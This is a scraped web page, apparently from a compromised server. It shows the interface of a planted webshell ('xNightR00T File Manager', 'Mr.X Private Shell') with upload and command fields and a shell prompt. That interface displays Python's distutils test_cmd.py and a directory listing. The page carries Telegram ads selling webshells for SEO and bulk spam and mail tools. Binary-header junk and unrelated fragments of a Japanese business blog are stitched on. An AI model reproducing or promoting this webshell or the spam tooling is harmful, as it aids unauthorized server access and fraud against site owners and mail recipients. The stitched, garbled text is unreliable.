xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
"""Tests for distutils.cmd."""
import unittest
import os
from test.support import captured_stdout, run_unittest

from distutils.cmd import Command
from distutils.dist import Distribution
from distutils.errors import DistutilsOptionError
from distutils import debug

class MyCmd(Command):
    def initialize_options(self):
        pass

class CommandTestCase(unittest.TestCase):

    def setUp(self):
        dist = Distribution()
        self.cmd = MyCmd(dist)

    def test_ensure_string_list(self):

        cmd = self.cmd
        cmd.not_string_list = ['one', 2, 'three']
        cmd.yes_string_list = ['one', 'two', 'three']
        cmd.not_string_list2 = object()
        cmd.yes_string_list2 = 'ok'
        cmd.ensure_string_list('yes_string_list')
        cmd.ensure_string_list('yes_string_list2')

        self.assertRaises(DistutilsOptionError,
                          cmd.ensure_string_list, 'not_string_list')

        self.assertRaises(DistutilsOptionError,
                          cmd.ensure_string_list, 'not_string_list2')

        cmd.option1 = 'ok,dok'
        cmd.ensure_string_list('option1')
        self.assertEqual(cmd.option1, ['ok', 'dok'])

        cmd.option2 = ['xxx', 'www']
        cmd.ensure_string_list('option2')

        cmd.option3 = ['ok', 2]
        self.assertRaises(DistutilsOptionError, cmd.ensure_string_list,
                          'option3')


    def test_make_file(self):

        cmd = self.cmd

        # making sure it raises when infiles is not a string or a list/tuple
        self.assertRaises(TypeError, cmd.make_file,
                          infiles=1, outfile='', func='func', args=())

        # making sure execute gets called properly
        def _execute(func, args, exec_msg, level):
            self.assertEqual(exec_msg, 'generating out from in')
        cmd.force = True
        cmd.execute = _execute
        cmd.make_file(infiles='in', outfile='out', func='func', args=())

    def test_dump_options(self):

        msgs = []
        def _announce(msg, level):
            msgs.append(msg)
        cmd = self.cmd
        cmd.announce = _announce
        cmd.option1 = 1
        cmd.option2 = 1
        cmd.user_options = [('option1', '', ''), ('option2', '', '')]
        cmd.dump_options()

        wanted = ["command options for 'MyCmd':", '  option1 = 1',
                  '  option2 = 1']
        self.assertEqual(msgs, wanted)

    def test_ensure_string(self):
        cmd = self.cmd
        cmd.option1 = 'ok'
        cmd.ensure_string('option1')

        cmd.option2 = None
        cmd.ensure_string('option2', 'xxx')
        self.assertTrue(hasattr(cmd, 'option2'))

        cmd.option3 = 1
        self.assertRaises(DistutilsOptionError, cmd.ensure_string, 'option3')

    def test_ensure_filename(self):
        cmd = self.cmd
        cmd.option1 = __file__
        cmd.ensure_filename('option1')
        cmd.option2 = 'xxx'
        self.assertRaises(DistutilsOptionError, cmd.ensure_filename, 'option2')

    def test_ensure_dirname(self):
        cmd = self.cmd
        cmd.option1 = os.path.dirname(__file__) or os.curdir
        cmd.ensure_dirname('option1')
        cmd.option2 = 'xxx'
        self.assertRaises(DistutilsOptionError, cmd.ensure_dirname, 'option2')

    def test_debug_print(self):
        cmd = self.cmd
        with captured_stdout() as stdout:
            cmd.debug_print('xxx')
        stdout.seek(0)
        self.assertEqual(stdout.read(), '')

        debug.DEBUG = True
        try:
            with captured_stdout() as stdout:
                cmd.debug_print('xxx')
            stdout.seek(0)
            self.assertEqual(stdout.read(), 'xxx\n')
        finally:
            debug.DEBUG = False

def test_suite():
    return unittest.makeSuite(CommandTestCase)

if __name__ == '__main__':
    run_unittest(test_suite())

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
Setup.sample File 2.2 KB 0644
__init__.py File 1.04 KB 0644
support.py File 6.38 KB 0644
test_archive_util.py File 11.46 KB 0644
test_bdist.py File 1.5 KB 0644
test_bdist_dumb.py File 2.83 KB 0644
test_bdist_msi.py File 728 B 0644
test_bdist_rpm.py File 4.94 KB 0644
test_bdist_wininst.py File 1.02 KB 0644
test_build.py File 1.87 KB 0644
test_build_clib.py File 4.86 KB 0644
test_build_ext.py File 17.66 KB 0644
test_build_py.py File 6.14 KB 0644
test_build_scripts.py File 3.51 KB 0644
test_check.py File 4.85 KB 0644
test_clean.py File 1.43 KB 0644
test_cmd.py File 3.75 KB 0644
test_config.py File 3.08 KB 0644
test_config_cmd.py File 2.54 KB 0644
test_core.py File 3.05 KB 0644
test_cygwinccompiler.py File 5.54 KB 0644
test_dep_util.py File 2.77 KB 0644
test_dir_util.py File 4.54 KB 0644
test_dist.py File 15.67 KB 0644
test_extension.py File 2.7 KB 0644
test_file_util.py File 4.02 KB 0644
test_filelist.py File 9.84 KB 0644
test_install.py File 8.23 KB 0644
test_install_data.py File 2.54 KB 0644
test_install_headers.py File 1.23 KB 0644
test_install_lib.py File 3.89 KB 0644
test_install_scripts.py File 2.56 KB 0644
test_log.py File 1.26 KB 0644
test_msvc9compiler.py File 5.9 KB 0644
test_register.py File 9.07 KB 0644
test_sdist.py File 16.09 KB 0644
test_spawn.py File 1.81 KB 0644
test_sysconfig.py File 8.31 KB 0644
test_text_file.py File 3.36 KB 0644
test_unixccompiler.py File 4.76 KB 0644
test_upload.py File 4.11 KB 0644
test_util.py File 10.99 KB 0644
test_version.py File 2.55 KB 0644
test_versionpredicate.py File 280 B 0644
xxmodule.c File 12.06 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
admin f – ページ 5 – Seiko Business Matching
7月 2, 2023
詳細ウェブサイトへ
5月 23, 2022
詳細ウェブサイトへ